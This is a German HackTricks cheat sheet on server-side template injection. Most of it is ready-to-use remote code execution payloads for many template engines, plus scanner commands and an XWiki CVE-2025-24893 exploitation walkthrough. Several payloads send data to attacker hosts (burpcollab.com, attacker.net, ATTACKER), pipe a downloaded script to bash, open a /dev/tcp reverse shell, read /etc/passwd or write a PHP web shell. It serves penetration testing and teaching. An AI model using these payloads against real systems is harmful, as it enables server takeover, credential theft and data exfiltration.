SSTI (Server Side Template Injection)
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Was ist SSTI (Server-Side Template Injection)
Server-side template injection ist eine Schwachstelle, die auftritt, wenn ein Angreifer bösartigen Code in eine auf dem Server ausgeführte Vorlage injizieren kann. Diese Schwachstelle kann in verschiedenen Technologien vorkommen, einschließlich Jinja.
Jinja ist eine beliebte Template-Engine, die in Webanwendungen verwendet wird. Betrachten wir ein Beispiel, das einen verwundbaren Codeausschnitt mit Jinja zeigt:
output = template.render(name=request.args.get('name'))
In diesem verwundbaren Code wird der name-Parameter aus der Anfrage des Benutzers direkt mit der render-Funktion in das Template übergeben. Dadurch kann ein Angreifer potenziell bösartigen Code in den name-Parameter einschleusen, was zu server-side template injection führen kann.
Zum Beispiel könnte ein Angreifer eine Anfrage mit einer payload wie dieser erstellen:
http://vulnerable-website.com/?name={{bad-stuff-here}}
Die Payload {{bad-stuff-here}} wird in den Parameter name injiziert. Diese Payload kann Jinja-Template-Direktiven enthalten, die es einem Angreifer ermöglichen, unautorisierten Code auszuführen oder die Template-Engine zu manipulieren und möglicherweise Kontrolle über den Server zu erlangen.
Um Server-Side Template Injection (SSTI)-Schwachstellen zu verhindern, sollten Entwickler sicherstellen, dass Benutzereingaben korrekt bereinigt und validiert werden, bevor sie in Templates eingefügt werden. Die Implementierung von Input-Validierung und die Verwendung kontextbewusster Escaping-Techniken kann helfen, das Risiko dieser Schwachstelle zu mindern.
Erkennung
Um Server-Side Template Injection (SSTI) zu erkennen, ist anfangs das Fuzzing des Templates ein einfacher Ansatz. Dabei wird eine Sequenz spezieller Zeichen (${{<%[%'"}}%\) in das Template injiziert und die Unterschiede in der Server-Antwort auf normale Daten versus diese spezielle Payload analysiert. Anzeichen für eine Verwundbarkeit umfassen:
- Fehlermeldungen, die die Schwachstelle und möglicherweise die Template-Engine offenlegen.
- Das Fehlen der Payload in der Reflektion oder fehlende Teile davon, was darauf hindeutet, dass der Server sie anders verarbeitet als normale Daten.
- Plaintext Context: Von XSS unterscheiden, indem geprüft wird, ob der Server Template-Ausdrücke auswertet (z. B.
{{7*7}},${7*7}). - Code Context: Die Verwundbarkeit bestätigen, indem Input-Parameter verändert werden. Zum Beispiel
greetinginhttp://vulnerable-website.com/?greeting=data.usernameändern, um zu sehen, ob die Server-Ausgabe dynamisch oder fest ist, etwa wenngreeting=data.username}}helloden Benutzernamen zurückliefert.
Identifizierungsphase
Die Identifizierung der Template-Engine beinhaltet die Analyse von Fehlermeldungen oder das manuelle Testen verschiedener sprachspezifischer Payloads. Häufige Payloads, die Fehler verursachen, sind ${7/0}, {{7/0}} und <%= 7/0 %>. Die Beobachtung der Server-Antwort auf mathematische Operationen hilft, die spezifische Template-Engine einzugrenzen.
Identifizierung durch Payloads
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg
- Mehr Informationen unter https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Tools
TInjA
ein effizienter SSTI + CSTI-Scanner, der neuartige Polyglots nutzt
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
SSTImap
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s
Tplmap
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
Template Injection Table
eine interaktive Tabelle mit den effizientesten template injection polyglots sowie den erwarteten Antworten der 44 wichtigsten template engines.
Exploits
Allgemein
In dieser wordlist findest du variables defined in den Umgebungen einiger der unten genannten engines:
- https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt
- https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt
Java
Java - Basic injection
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
Java - Systemumgebungsvariablen abrufen
${T(java.lang.System).getenv()}
Java - /etc/passwd auslesen
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
FreeMarker (Java)
Sie können Ihre payloads unter https://try.freemarker.apache.org ausprobieren
{{7*7}} = {{7*7}}${7*7} = 49#{7*7} = 49 -- (legacy)${7*'7'} Nothing${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - Sandbox bypass
⚠️ funktioniert nur mit Freemarker-Versionen unter 2.3.30
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
Weitere Informationen
- Im FreeMarker-Abschnitt von https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker
Velocity (Java)
// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end
Weitere Informationen
- Im Velocity-Abschnitt von https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity
Thymeleaf
In Thymeleaf ist ein häufiger Test für SSTI-Schwachstellen der Ausdruck ${7*7}, der auch für diese Template-Engine gilt. Für potenzielle remote code execution können Ausdrücke wie die folgenden verwendet werden:
- SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
- OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
Thymeleaf verlangt, dass diese Ausdrücke in bestimmten Attributen platziert werden. Allerdings wird expression inlining für andere Template-Standorte unterstützt, wobei die Syntax [[...]] oder [(...)] verwendet wird. Daher könnte ein einfacher SSTI-Test-Payload wie [[${7*7}]] aussehen.
Allerdings ist die Wahrscheinlichkeit, dass dieser Payload funktioniert, allgemein gering. Die Standardkonfiguration von Thymeleaf unterstützt keine dynamische Template-Generierung; Templates müssen vordefiniert sein. Entwickler müssten ihren eigenen TemplateResolver implementieren, um Templates aus Strings on-the-fly zu erstellen, was unüblich ist.
Thymeleaf bietet außerdem expression preprocessing, wobei Ausdrücke innerhalb doppelter Unterstriche (__...__) vorverarbeitet werden. Dieses Feature kann beim Aufbau von Ausdrücken genutzt werden, wie in der Thymeleaf-Dokumentation gezeigt:
#{selection.__${sel.code}__}
Beispiel einer Schwachstelle in Thymeleaf
Betrachten Sie den folgenden Codeausschnitt, der ausgenutzt werden könnte:
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
Dies weist darauf hin, dass eine unsachgemäße Verarbeitung dieser Eingaben durch die template engine zu remote code execution führen kann, die auf URLs wie folgt zugreift:
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
Weitere Informationen
Spring Framework (Java)
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
Filter umgehen
Mehrere variable Ausdrücke können verwendet werden, wenn ${...} nicht funktioniert, versuche #{...}, *{...}, @{...} oder ~{...}.
/etc/passwdlesen
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
- Benutzerdefiniertes Skript zur Generierung von Payloads
#!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'
count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
print(base_payload + end_payload)
Weitere Informationen
Manipulation von Spring Views (Java)
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
Pebble (Java)
{{ someString.toUPPERCASE() }}
Ältere Version von Pebble ( < Version 3.0.9):
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
Neue Version von Pebble :
{% raw %}
{% set cmd = 'id' %}
{% endraw %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
Jinjava (Java)
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
Jinjava ist ein Open-Source-Projekt, entwickelt von Hubspot, verfügbar unter https://github.com/HubSpot/jinjava/
Jinjava - Command execution
Behoben durch https://github.com/HubSpot/jinjava/pull/230
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
Weitere Informationen
Hubspot - HuBL (Java)
{% %}Anweisungsbegrenzer{{ }}Ausdrucksbegrenzer{# #}Kommentarbegrenzer{{ request }}- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}- “A”{{'a'.concat('b')}}- “ab”{{'a'.getClass()}}- java.lang.String{{request.getClass()}}- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Suche nach “com.hubspot.content.hubl.context.TemplateContextRequest” führte zur Entdeckung des Jinjava project on Github.
{{request.isDebug()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
//It was also possible to call methods on the created object by combining the
{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}
{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Weitere Informationen
Expression Language - EL (Java)
${"aaaa"}- “aaaa”${99999+1}- 100000.#{7*7}- 49${{7*7}}- 49${{request}}, ${{session}}, {{faceContext}}
Expression Language (EL) ist ein grundlegendes Feature, das die Interaktion zwischen der Präsentationsschicht (z. B. Webseiten) und der Anwendungslogik (z. B. managed beans) in JavaEE ermöglicht. Es wird umfangreich in mehreren JavaEE-Technologien eingesetzt, um diese Kommunikation zu vereinfachen. Die wichtigsten JavaEE-Technologien, die EL nutzen, umfassen:
- JavaServer Faces (JSF): Verwendet EL, um Komponenten in JSF-Seiten an die entsprechenden Backend-Daten und Aktionen zu binden.
- JavaServer Pages (JSP): EL wird in JSP verwendet, um auf Daten innerhalb von JSP-Seiten zuzugreifen und diese zu manipulieren, wodurch es einfacher wird, Seitenelemente mit Anwendungsdaten zu verbinden.
- Contexts and Dependency Injection for Java EE (CDI): EL integriert sich mit CDI, um eine nahtlose Interaktion zwischen der Webschicht und managed beans zu ermöglichen und so eine kohärentere Anwendungsstruktur zu gewährleisten.
Weitere Informationen zur Ausnutzung von EL-Interpretern finden Sie auf folgender Seite:
Groovy (Java)
Die folgenden Security Manager bypasses wurden aus diesem writeup entnommen.
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x
//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
XWiki SolrSearch Groovy RCE (CVE-2025-24893)
XWiki ≤ 15.10.10 (fixed in 15.10.11 / 16.4.1 / 16.5.0RC1) rendert unauthentifizierte RSS-Suchfeeds über das Main.SolrSearch Macro. Der Handler nimmt den Query-Parameter text, packt ihn in Wiki-Syntax und wertet Makros aus, somit führt das Injizieren von }}} gefolgt von {{groovy}} beliebigen Groovy-Code in der JVM aus.
- Fingerprint & scope – Wenn XWiki hinter host-basierter Routing-Reverse-Proxy steht, fuzz den
HostHeader (ffuf -u http://<ip> -H "Host: FUZZ.target" ...) um das Wiki-vhost zu entdecken, dann rufe/xwiki/bin/view/Main/auf und lies den Footer (XWiki Debian 15.10.8) um die verwundbare Build-Version zu bestätigen. - Trigger SSTI – Request
/xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20. Das RSS-Item<title>wird die Groovy-Ausgabe enthalten. Immer „URL-encode all characters“ so dass Leerzeichen als%20bleiben; das Ersetzen durch+lässt XWiki einen HTTP 500 werfen. - Run OS commands – Ersetze den Groovy-Body durch
{{groovy}}println("id".execute().text){{/groovy}}.String.execute()startet den Befehl direkt mitexecve(), daher werden Shell-Metazeichen (|,>,&) nicht interpretiert. Verwende stattdessen ein Download-and-execute-Muster:
"curl http://ATTACKER/rev -o /dev/shm/rev".execute().text"bash /dev/shm/rev".execute().text(das Script enthält die Reverse-Shell-Logik).
- Post exploitation – XWiki speichert Datenbank-Zugangsdaten in
/etc/xwiki/hibernate.cfg.xml; leakinghibernate.connection.passwordliefert echte System-Passwörter, die über SSH wiederverwendet werden können. Wenn die Service-UnitNoNewPrivileges=truegesetzt hat, werden Tools wie/bin/suselbst mit gültigen Passwörtern keine zusätzlichen Privilegien erhalten, daher pivot via SSH anstatt sich auf lokale SUID-Binaries zu verlassen.
Der gleiche Payload funktioniert auf /xwiki/bin/get/Main/SolrSearch, und die Groovy-stdout ist immer im RSS-Title eingebettet, wodurch es einfach ist, die Enumeration von Befehlen zu skripten.
Other Java
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg
Smarty (PHP)
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
Weitere Informationen
- Im Smarty-Abschnitt von https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty
Twig (PHP)
{{7*7}} = 49${7*7} = ${7*7}{{7*'7'}} = 49{{1/0}} = Error{{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}
#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
Twig - Vorlagenformat
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
Weitere Informationen
- Im Abschnitt Twig und Twig (Sandboxed) von https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig
Plates (PHP)
Plates ist eine native Templating-Engine für PHP, die sich von Twig inspirieren lässt. Im Gegensatz zu Twig, das eine neue Syntax einführt, nutzt Plates jedoch nativen PHP-Code in Templates, wodurch es für PHP-Entwickler intuitiv ist.
Controller:
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
Seitenvorlage:
<?php $this->layout('template', ['title' => 'User Profile']) ?>
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
Layout-Vorlage:
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
Weitere Informationen
PHPlib und HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB ist dasselbe wie PHPlib, aber auf Pear portiert.
authors.tpl
<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>
authors.php
<?php
//we want to display this author list
$authors = array(
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
Weitere Informationen
Andere PHP
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg
- Weitere Infos unter https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Jade (NodeJS)
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
Weitere Informationen
- Im Jade-Abschnitt von https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade–codepen
patTemplate (PHP)
patTemplate nicht-kompilierende PHP-Templating-Engine, die XML-Tags verwendet, um ein Dokument in verschiedene Teile zu untergliedern
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
Weitere Informationen
Handlebars (NodeJS)
Path Traversal (mehr Informationen here).
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
- = Fehler
- ${7*7} = ${7*7}
- Nichts
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
Weitere Informationen
JsRender (NodeJS)
| Vorlage | Beschreibung |
|---|---|
| Auswerten und Ausgabe rendern | |
| Auswerten und HTML-kodierte Ausgabe rendern | |
| Kommentar | |
| und | Code erlauben (standardmäßig deaktiviert) |
- = 49
Client-Seite
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
Serverseitig
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
Weitere Informationen
PugJs (NodeJS)
#{7*7} = 49#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
Beispiel server side render
var pugjs = require("pug")
home = pugjs.render(injected_page)
Weitere Informationen
NUNJUCKS (NodeJS)
- {{7*7}} = 49
- {{foo}} = Keine Ausgabe
- #{7*7} = #{7*7}
- {{console.log(1)}} = Fehler
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}
Weitere Informationen
NodeJS-Ausdrucks-Sandboxes (vm2 / isolated-vm)
Einige Workflow-Builder werten benutzerkontrollierte Ausdrücke innerhalb von Node-Sandboxes (vm2, isolated-vm) aus, wobei der Ausdruckskontext jedoch weiterhin this.process.mainModule.require offenbart. Dadurch kann ein Angreifer child_process laden und OS-Befehle ausführen, selbst wenn dedizierte “Execute Command”-Nodes deaktiviert sind:
={{ (function() {
const require = this.process.mainModule.require;
const execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}
Andere NodeJS
 (1).png)
